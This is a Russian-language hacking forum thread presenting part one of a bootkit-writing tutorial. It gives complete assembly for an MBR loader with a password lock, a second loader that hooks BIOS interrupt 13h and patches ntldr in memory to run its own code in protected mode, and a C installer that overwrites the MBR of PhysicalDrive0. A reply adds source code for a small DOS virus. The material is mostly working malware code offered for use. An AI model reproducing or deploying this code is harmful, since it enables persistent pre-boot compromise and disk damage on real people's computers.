Пошаговое создание своего Bootkit'a [ЧАСТЬ 1]

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 3K
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Каждый хакер увлекающийся вирусологией должно быть слышал такие термины, как «руткит» и «буткит». Большинство назовет эти 2 слова "вирусом" и пойдет дальше брутить аккаунты Uplay. Но давайте разберёмся, что на самом деле из себя представляет этот bootkit.​


Bootkit может он практически всё в зависимости от фантазии кодера. Самое ключевое — это повышение привилегий до уровня системы и перехват функций ядра, в общем, обычный руткит, только запускается он ещё до загрузки операционной системы. В этом цикле статей мы напишем свой буткит в учебных целях, который после старта системы будет запускать калькулятор. А если повезёт, то не только запускать будет, но и повышать привилегии. На самом деле, написание буткита очень полезно для закрепления знаний архитектуры системы. Это занятие повышенной сложности ввиду того, что трудно понять причину ошибки из-за отсутствия нормальной отладки. Писать мы будем под любимую Windows.

Прежде чем начать, убедитесь, что у вас есть все необходимое из списка:

  • Windows XP на виртуальной машине
  • C++
  • Turbo Assembler
  • Hiew
  • Bochs (опционально)
Внимание! Все испытания производить строго на виртуальной машине, иначе ваша система рискует вообще не стартануть. Прежде чем начать, давайте повторим теоретическую часть и составим алгоритм, которого будем придерживаться.

Когда мы тыкаем на кнопку включения компа, загружается BIOS, он делает все свои дела по проверке компа на живучесть и, если всё хорошо, читает самый первый сектор первого диска в память по адресу 0:7c00h и джампует на него. Первый сектор первого диска называется MBR. Вот сюда-то и пишется первая часть буткита. MBR состоит из 3 частей.

  • Первая часть — это код, занимать он может не больше 446 байт
  • Вторая часть — таблица разделов — Partition Table. PT состоит из 4 записей, каждая из которых занимает по 16 байт.
  • И последняя часть — сигнатурка 0x55aa. Да, она занимает два байта, но, если её не будет, система не будет грузиться дальше.
Из PT можно узнать какой раздел с какого сектора начинается, какого он размера, является ли он активным или нет. Есть буткиты, которые не заражают MBR, а заражают загрузочный сектор. Не путайте эти понятия! Загрузочный сектор — это самый первый сектор относительно активного раздела, а MBR — относительно диска. Код в MBR будет выполнять две задачи. Первая — перехват функций 2h и 42h 13h прерывания BIOS, считывание оригинального MBR в память и переход на его код. Функции данного прерывания BIOS осуществляют чтение секторов диска. Перехват этих функций даст контроль над тем, что будет считываться дальше. Настанет момент, когда система будет читать ntoskrnl.exe. Он-то нам и нужен.

Перехватив прерывание, мы можем просплайсить любую понравившуюся нам функцию, главное, чтобы она вызывалась виндой. Это даст нам то, что при переходе в защищённый режим мы никуда не потеряемся. Как только вызовется перехваченная функция, наш обработчик должен будет выполнить полезную нагрузку, например, извлечь из секторов заранее записанную информацию (calc.exe или драйвер) в файл и снять перехват. В принципе это всё. Кстати, некоторые буткиты ещё устанавливают шлюз в GDT вместо того, чтобы грузить драйвер. Итак, первое, что мы попытаемся сделать — это просто загрузить ОС используя модифицированный MBR.

Задача инсталлятора такая: прочитать 1 сектор диска, заксорить его и записать в 4 сектор диска. После этого переписать первые 446 байт MBR кодом загрузчика нашего буткита. PT мы трогать не будем, так как эта важная информация, если её изменить, то система потеряет все свои файлы и не загрузится. Чтобы было интереснее на первом этапе, накодим себе код mbr, который будет осуществлять нам дополнительную защиту: перед загрузкой ос надо будет ввести пароль, если он правильный, то система загрузится.



Ввод получился таким:

Код:
.386

LOCALS

org 7c00h

CODE SEGMENT USE16

ASSUME CS: CODE, DS: CODE, SS: CODE

START:

nop ;flag of infected

cli

xor ax, ax

mov ds, ax

mov sp, 0FFFFh

sub word ptr ds:413h, 1h

mov ax, ds:413h

sti



shl ax, 6



cld

mov es, ax

xor di, di

mov si, 7c00h

mov cx, 200h

rep movsb

push es

push offset @@read_orig

retf

;;;;;;;;ISR of int13h;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

@@read_orig:

xor ax, ax

mov es, ax

mov dx, es

mov bx, 7c00h

mov ah, 2

mov al, 1

mov cx, 4 ;0x200* (4-1) = 0x600 на диске

mov dx, 80h

int 13h



mov cx, 200h

mov al, 90h

mov si, bx

@@decrypt:

xor byte ptr es:[si], al

inc si

loop @@decrypt

push es

push bx

@@password_loop:

mov ax, 3

int 10h



mov ah, 0Eh

mov bx, cs

mov ds, bx

mov es, bx

xor bx, bx

lea si, EnterPassword

@@passwd: ;вывод предложения о вводе пасса

lodsb

test al, al

jz @@enter

int 10h

jmp @@passwd



lea si, password

@@enter:

xor ax, ax ;ввод символа

int 16h



mov ah, 0Eh

int 10h ;вывод на экран



xor al, 90h

cmp al, byte ptr cs:[si]

jnz @@password_loop



inc si

cmp byte ptr cs:[si], 0

jz @@stop_enter



jmp @@enter

@@stop_enter:

pop bx

pop es



push 0

push 7c00h

retf



OldSeg dw 0

OldOff dw 0



EnterPassword db 'Enter Password For Unlock Your Computer: ',0

password db 0a1h, 0a2h, 0a3h, 0a4h, 0bdh, 0a1h, 0a2h, 0a3h, 0a4h, 0bdh, 0a1h, 0a2h, 0a3h, 0a4h, 0bdh, 0a1h, 0a2h, 0a3h, 0a4h, 0

times db 510-($-START) dup (0)

db 55h, 0AAh



CODE ENDS

END START

Осталось скомпилировать код и записать бинарник в MBR. Немного пояснений. Первым делом загрузчик должен перенести себя в другое место памяти. В какое именно — не так важно. В самом начале, в 12 строке кода, мы вычитаем 1 из переменной, которую инициализировал BIOS. Находится она по адресу 0:413h и отвечает за количество оперативной памяти компьютера в килобайтах. Мы откусим для своих нужд 1 кб и скопируем туда код. Операционная система уже никак не сможет обратиться по тому адресу, потому, что она будет думать, что памяти там уже нет. В общем идеальное место. После того, как мы скопировали свою тушу в новое место, выполняем переход туда и остальная работа уже будет делаться там. Первое что тут происходит — это чтение 4 сектора. Напомню, туда инсталлятор скопирует оригинальный MBR, предварительно поксорив его на 0x90. Дальше идёт расшифровка MBR и вывод строки с предложением ввода пароля. Правильность ввода проверяется немножко туповато, но сделать по-нормальному мне лень :). Если введённый пароль правильный, то происходит переход на оригинальный MBR, и система загрузится, как будто ничего этого и не происходило. Какой пароль, думаю вы и без меня из кода поймёте, а если нет, то отложите затею с буткитом и подучите ассемблер.



Инсталлятор
Откройте получившийся бинарник в каком-нибудь HEX редакторе и скопируйте все байтики. Я сделал это в hiew и заюзал плагин, который мне не только скопировал байтики, но и преобразовал их в сишный массив. Плагин называется mbytes2csrc.hem.

Код:
#include <Windows.h>

#include <stdio.h>

#define MB_BUF_SIZE 0x200

unsigned char marked_bytes[MB_BUF_SIZE] = {

0x90, 0xFA, 0x33, 0xC0, 0x8E, 0xD8, 0xBC, 0xFF,

0xFF, 0x83, 0x2E, 0x13, 0x04, 0x01, 0xA1, 0x13,

0x04, 0xFB, 0xC1, 0xE0, 0x06, 0xFC, 0x8E, 0xC0,

0x33, 0xFF, 0xBE, 0x00, 0x7C, 0xB9, 0x00, 0x02,

0xF3, 0xA4, 0x06, 0x68, 0x29, 0x00, 0xCB, 0x9C,

0x60, 0x33, 0xC0, 0x8E, 0xC0, 0x8C, 0xC2, 0xBB,

0x00, 0x7C, 0xB4, 0x02, 0xB0, 0x01, 0xB9, 0x04,

0x00, 0xBA, 0x80, 0x00, 0xCD, 0x13, 0xB9, 0x00,

0x02, 0xB0, 0x90, 0x8B, 0xF3, 0x26, 0x30, 0x04,

0x46, 0xE2, 0xFA, 0x06, 0x53, 0xB8, 0x03, 0x00,

0xCD, 0x10, 0xB4, 0x0E, 0x8C, 0xCB, 0x8E, 0xDB,

0x8E, 0xC3, 0x33, 0xDB, 0xBE, 0x93, 0x00, 0xAC,

0x84, 0xC0, 0x74, 0x09, 0x90, 0x90, 0xCD, 0x10,

0xEB, 0xF5, 0xBE, 0xBD, 0x00, 0x33, 0xC0, 0xCD,

0x16, 0xB4, 0x0E, 0xCD, 0x10, 0x34, 0x90, 0x2E,

0x3A, 0x04, 0x75, 0xD1, 0x46, 0x2E, 0x80, 0x3C,

0x00, 0x74, 0x04, 0x90, 0x90, 0xEB, 0xE6, 0x5B,

0x07, 0x6A, 0x00, 0x68, 0x00, 0x7C, 0xCB, 0x00,

0x00, 0x00, 0x00, 0x45, 0x6E, 0x74, 0x65, 0x72,

0x20, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72,

0x64, 0x20, 0x46, 0x6F, 0x72, 0x20, 0x55, 0x6E,

0x6C, 0x6F, 0x63, 0x6B, 0x20, 0x59, 0x6F, 0x75,

0x72, 0x20, 0x43, 0x6F, 0x6D, 0x70, 0x75, 0x74,

0x65, 0x72, 0x3A, 0x20, 0x00, 0xA1, 0xA2, 0xA3,

0xA4, 0xBD, 0xA1, 0xA2, 0xA3, 0xA4, 0xBD, 0xA1,

0xA2, 0xA3, 0xA4, 0xBD, 0xA1, 0xA2, 0xA3, 0xA4,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA

};



int main()

{

DWORD rd;

BOOL ok;

BYTE *pBuf;

LPVOID mbr = VirtualAlloc(NULL, MB_BUF_SIZE, MEM_COMMIT, PAGE_READWRITE);

LPVOID buf = VirtualAlloc(NULL, MB_BUF_SIZE, MEM_COMMIT, PAGE_READWRITE);

HANDLE f = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);

if (f == INVALID_HANDLE_VALUE) printf("INVALID_HANDLE_VALUE (1)\n");

ok = ReadFile(f, mbr, MB_BUF_SIZE, &rd, NULL);


if (!ok) printf("Error Read File (2)\n");

BYTE *p = (BYTE *)mbr;

if (*p == 0x90)

{

CloseHandle(f);

printf("Allready Infected!\n");

goto exit;

}

CloseHandle(f);



pBuf = (BYTE *)buf;

for (int i=0; i<MB_BUF_SIZE; i++, p++, pBuf++) *pBuf = *p ^ 0x90;

f = CreateFileA("\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);

if (f == INVALID_HANDLE_VALUE) printf("INVALID_HANDLE_VALUE (3)\n");

SetFilePointer(f, 512 * (4 - 1), NULL, FILE_BEGIN);

ok = WriteFile(f, buf, MB_BUF_SIZE, &rd, NULL);

if (!ok) printf("Error Write date (4)\n");



memcpy(mbr, marked_bytes, 0x1bd);

SetFilePointer(f, 0, NULL, FILE_BEGIN);

WriteFile(f, mbr, MB_BUF_SIZE, &rd, NULL);

CloseHandle(f);

exit:

VirtualFree(mbr, MB_BUF_SIZE, MEM_RELEASE);

VirtualFree(buf, MB_BUF_SIZE, MEM_RELEASE);

system("pause");

return 0;

}
Посмотреть вложение 8593


Думаю, тут пояснений не потребуется. Вот что получилось после перезагрузки:


В случае правильного ввода, система продолжает грузиться.​

  • Итак, мы научились запускать свой код до загрузки операционной системы прямиком из MBR.
Воспользовавшись этим, мы разработали простенькую систему защиты, требующую ввести пароль. В случае правильного ввода, мы позволяем ОС загрузиться дальше. Теперь, нам нужно установить контроль над ядром ОС, это можно сделать, если перехватить какую-либо функцию, которая вызывается самой ОС. Тогда, вместо этой самой функции выполнится наш код и дальше система продолжает свои дела. Так вот, нам сейчас нужно определиться с тем, какое место нас будет интересовать. Думаю, так как мы только изучаем bootkitы, давайте пойдём по стопам известного буткита «Sinowal» или «Alipop» и повторим за ними. Как только мы освоимся, тогда и начнём экспериментировать, но сейчас не будем осложнять себе жизнь :).


8B F0 85 F6 74 21 80 3D сигнатура в ntldr
Эти буткиты на начальной стадии загрузки ОС заменяют несколько байт ntldr на свой код. Давайте взглянем на изменяемое место:

Как мы видим, модифицируются байты сразу после отработки функции _BlLoadBootDrivers. А именно модифицируются байтами 0xFF15xxxxxxxx. FF15 — опкод команды call dword ptr [addr]. Мы поступим точно также.

Чтобы получить возможность модифицировать ntldr, установим перехват на 2 и 42h функции тринадцатого прерывания BIOS. Эти функции производят чтение информации с секторов диска в память. Если это вторая функция, то прочитанные данные находятся по адресу es:bx. Количество секторов для чтения передаётся в регистре al. Во втором случае вся информация указывается в структуре Disk Address Packet (DAP).


Адрес DAP передаётся прерыванию в регистре esi. Как видно из таблицы, чтобы получить количество секторов, которое собирается прочитать прерывание, нужно прочитать память по адресу esi+2. Прочитанные данные будут находиться по этому указателю на память, находящемся по адресу esi + 4.

Это нужно будет учесть, так как наш обработчик прерывания будет делать следующее: если выполняется нужная нам функция, то мы вызываем оригинальный обработчик, а затем начинаем поиск в прочитанных данных сигнатуры рассмотренного выше места в ntldr. Сигнатура будет такой: 8B F0 85 F6 74 21 80 3D. Если нашли нужное нам место, то переписываем его на call dword addr. Так как переход будет осуществляться не по &addr, а по *addr, то заведём специальную переменную, куда сохраним адрес на наш обработчик. Если всё произойдёт по плану, то, когда ось будет уже переключена из реального режима в защищённый и выполнит функцию _BlLoadBootDrivers в ntldr, сразу после неё она встретит call на наш обработчик и выполнит его! Из этого выходит, что наш обработчик должен быть уже не 16 разрядным, а 32.

В нашем обработчике будет основной код буткита, его мы рассмотрим в следующей части, а сейчас пока попытаемся сделать так, чтобы система хотя бы грузилась. Так как мы затёрли нужный оси код, мы должны его вернуть повторить. В нашем обработчике пока будет выполняться единственный функционал — выполнение заменённых инструкций. Таким образом система будет думать, что всё так и задумано))). В этот раз мы будем компилировать код на nasm, так как очень удобно реализовать код в двух разных по разрядности сегментов, просто вставив use32 или use16 в нужное место. Вот что получилось:

Код:
START:

mov ax, 3

int 10h

mov cx, 10h

mov ah, 0Eh

mov al, 'N'

CCC:

int 10h

loop CCC

xor ax, ax

int 16h



cli

xor ax, ax

mov ds, ax

mov sp, 0FFFFh

sub word [413h], 1h

mov ax, [ds:413h]

sti

cld

shl ax, 6 ; mem *(2^10 / 2^4) = mem *2^(10-4) = mem *2^6

mov es, ax

xor di, di

mov si, 7c00h

mov cx, 200h

rep movsb

push es

push @@read_orig

retf

;;;;;;;;ISR of int13h;;;;;;;;;;;

@@Interapt:

cmp ah, 2h

jz @@execute

cmp ah, 42h

jz @@execute

db 0EAh

dw 0000, 0000

Int_13 EQU $-4

@@execute:

mov [cs:int13hFunc], ah

pushf ;orig int13h съест сохранённый регистр флагов из стека + cs и ip

call far [cs: Int_13]

jc @@int13h_ret



pushf

cli

push es

pusha

mov ah, 00h

int13hFunc EQU $-1

cmp ah, 42h

jnz @@int13h_f2

;;;Disck Address packet

;;;offset range size description

;;;00h 1 byte size of DAP = 16 = 10h

;;;01h 1 byte unused, should be zero

;;;02h..03h 2 bytes number of sectors to be read, (some Phoenix BIOSes are limited to a maximum of 127 sectors)

;;;04h..07h 4 bytes segment:offset pointer to the memory buffer to which sectors will be transferred (note that x86 is little-endian: if declaring the segment and offset separately, the offset must be declared before the segment)

;;;08h..0Fh 8 bytes absolute number of the start of the sectors to be read (1st sector of drive has number 0)

lodsw

lodsw ;ax = number of sectors to be read

les bx, [si]

@@int13h_f2:

test al, al

jle @@ExitInt_13

;al=колличество секторов для чтения

;ax:=ax*2^9=ax*512b

;es:bx - прочитанные данные

movzx cx, al

shl cx, 9

mov di, bx

mov al, 8Bh

cld

@@Search_8B:

repne scasb

jnz @@ExitInt_13 ;не найден байтик



;нашли 8b,ищем 74f685f0h

;8B F0 85 F6 74 21 80 3D

cmp dword [es:di], 74F685F0h

jnz @@Search_8B



cmp byte [es:di+4], 21h

jnz @@Search_8B



cmp word [es:di+5], 3D80h

jnz @@Search_8B



;Если мы тут, значит нашли место в ntldr: seg000:00026C8C

;ntldr

;00026C8C: 8BF0 mov si,ax

;00026C8E: 85F6 test si,si

;00026C90: 7421 jz 000026CB3 -- 1

;00026C92: 803D10 cmp b,[di],010

;xchg bx, bx

mov word [es:di-1], 15ffh

mov eax, cs

shl eax, 4 ;физический адрес своего сегмента

add eax, StartCODE32

mov [cs:Hook32], eax

sub eax, 4

mov [es:di+1], eax



;mov dword ptr es:[di-1], 0F685f08bh ; восстанавливаю сигнатуру

;mov dword ptr es:[di+3], 03D802174h

@@ExitInt_13:

popa

pop es

popf

@@int13h_ret:

iret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

@@read_orig:

xor ax, ax

mov es, ax

mov dx, es

mov bx, 7c00h

mov ah, 2

mov al, 1 ;1 сектора

mov cx, 1 ;mbr

mov dx, 80h

int 13h



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; HOOKED INTERUPT INT13h;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;HOOKED INTERUPT INT13h ;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

cli

mov ax, [4Eh] ;segment

mov [cs:Int_13+2],ax



mov ax, [4Ch] ;offset

mov [cs:Int_13],ax



mov word [4eh], cs

mov ax, @@Interapt

mov word [4Ch], ax

sti

@@boot:

push 0

push 7c00h

retf



Hook32 dd 0



use32

StartCODE32:

mov esi, eax

test eax, eax

jnz short Path_Done

pushfd

add dword [esp+4], 21h

popfd



Path_Done:

ret

times 510-($ - $$) db 0

db 55h, 0AAh
Немного пояснений. Для экономии времени, мы не прописываем MBR виртуальной системы на наш код, а вместо этого настраиваем первую загрузку системы со съёмного носителя — дискеты. Таким образом, после компиляции, можно сразу загружать ось и смотреть что получилось, иначе, пришлось бы дожидаться загрузки гостевой оси, затем переносить скомпилированный код и им прошивать MBR. Это очень долго.

В самом начале кода, у нас на экран выводится 16 букв ‘N’, после чего система ожидает нажатия клавиши. Только после этого наш загрузчик начнёт выполняться. Это сделано для того, что во время тестирования, иногда забываешь закрыть образ дискеты из hex редактора и, поэтому, ось не может получить доступ к дискете и грузится со следующего загрузочного носителя в списке. В нашем случае с диска. Это может ввести в заблуждение, можно подумать, что наш код отработал и система успешно загрузилась, а на самом деле всё не так.

Я много потратил времени из-за таких глупых ошибок. Но, когда система ожидает нажатие клавиши, то можно быть уверенным, что мы загрузились именно с нашего загрузчика. Два раза в коде встречается место, когда мы рассчитываем полный физический адрес памяти имея в своём распоряжении сегмент и смещение. В реальном режиме сделать это проще простого.​
Достаточно умножить номер сегмента на его размер и прибавить смещение. Как мы знаем, размер сегмента в реальном режиме равен 65536 байт или 2 ^ 16. В 17 строке, мы вычитаем 1 из переменной, где хранится общий объём оперативной памяти ПК в килобайтах, тем самым резервируя для себя место. Дальше мы переносим свою тушу в это «тёпленькое» местечко, где будет располагаться обработчик 13h прерывания и код, который будет выполняться системой в защищённом режиме. В 21 строке мы определяем номер сегмента нашего местечка, так как это требует операция movsb. По идее нужно было бы сделать это в два шага.

  • Первый — перевести общий размер памяти из килобайт в байты, умножив полученное значение на 1024, или сдвинув в лево на 10 разрядов
  • Второй — разделить полученное значение на размер одного сегмента — на 65536 или сдвинуть вправо на 4 разряда. Таким образом, мы var413h * 2^10/2^4, что можно сделать одной операцией — var413h * 2 ^(10-4) или var413h*2^6. Так будет определённо быстрее.


Заключение
На данный момент у нас есть код, который запускается из MBR, перехватывает 13h прерывание BIOS. Данное прерывание выполняет чтение данных с секторов диска в память. Наш обработчик этого прерывания пробегается по прочитанным данным и ищет там сигнатуру файла ntldr. Ntldr — системный файла операционной системы. Его задача — загрузить винду. Именно в нём процессор переводится в 32х разрядный защищённый режим. Также в нём инициализируется ядро ОСи на начальном этапе, запуская файл ntoskrnl.exe. Мы заменили часть инструкций функции _BlOsLoader на переход на наш код, тем самым обеспечив себе возможность существования в защищённом режиме. Хочу подчеркнуть, что на данном этапе мы всё ещё находимся в реальном режиме.
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Привет, ещё актуально?
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Хде гайд по созданию биоскита?
 

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
По теме вирусов на ассемблере, вот исходник одного маленького вируса (REM22):

Код:
.model tiny
.code
.startup
start:
pop cx
hel:
xchg ax,bx
db 108h shr 1
db 4eh ; dec si
db 9eh shr 1
db 3ch ;cmp al,xx
db 100h shr 1
db 40h
fmask db ‘*.*’,0
lodsw
cwd
mov dl,al
shl dx,1
int 21h
jmp hel
end
Кому интересно что и как тут работает
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя